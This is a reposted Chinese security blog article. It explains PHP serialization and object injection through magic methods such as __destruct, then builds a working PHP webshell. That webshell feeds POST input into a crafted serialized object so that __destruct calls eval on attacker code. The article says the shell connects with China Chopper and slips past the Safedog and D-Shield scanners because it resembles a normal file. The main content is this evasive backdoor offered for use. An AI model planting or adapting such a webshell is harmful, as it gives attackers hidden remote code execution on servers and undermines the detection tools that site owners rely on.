WEB安全

PHP反序列化漏洞与过狗马子

字号+ 作者:vspiders 来源:转载 2018-03-22 09:05 我要评论( )

最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。......

Author:vspiders
首发地址:http://blog.csdn.net/vspiders/article/details/79643200

最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。

0x01 PHP反序列化

说起PHP反序列化,那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. }
  5.  
  6. $a = new A(); // 生成a对象
  7. $b = serialize($a); // 序列化a对象为b
  8. $c = unserialize($b); // 反序列化b对象为c
  9.  
  10. print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
  11. echo "\n";
  12. print_r($c->test); // 输出对象c中test的值:demo
  13.  
  14. ?>

0x02 PHP反序列化漏洞

PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调 用,__toString当一个对象被当作一个字符串使用。 而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. function __destruct(){
  5. echo $this->test;
  6. }
  7. }
  8. $a = $_GET['test'];
  9. $a_unser = unserialize($a);
  10. ?>

比如上述代码,构造payload为http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";} 反序列化后在脚本运行结束时就会调用_destruct函数,同时会覆盖test变量输出hello。 PHP反序列化漏洞与Webshell

0x03 回马枪

我们可以利用该漏洞点,控制输入变量,拼接成一个序列化对象。然后再构造一个魔法函数,比如在_destruct()函数中调用eval执行序列化对象中的语句。

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. function __destruct(){
  5. @eval($this->test);
  6. }
  7. }
  8. $test = $_POST['test'];
  9. $len = strlen($test)+1;
  10. $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
  11. $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
  12. ?>

0x04 效果演示

直接菜刀链接: PHP反序列化漏洞与Webshell

PHP反序列化漏洞与Webshell 安全狗: PHP反序列化漏洞与Webshell

此木马毕竟是跟正常文件太像,所以免杀效果很不错。这里只是测试了安全狗、D盾,其余自测。

小结

而且由此可以引发很多变形,这里只是利用反序列化漏洞,其他漏洞也可以用来当作木马的载体,毕竟cms的代码执行漏洞在被发现之前,他依旧是一个正常到不能再正常的文件。


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/678.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~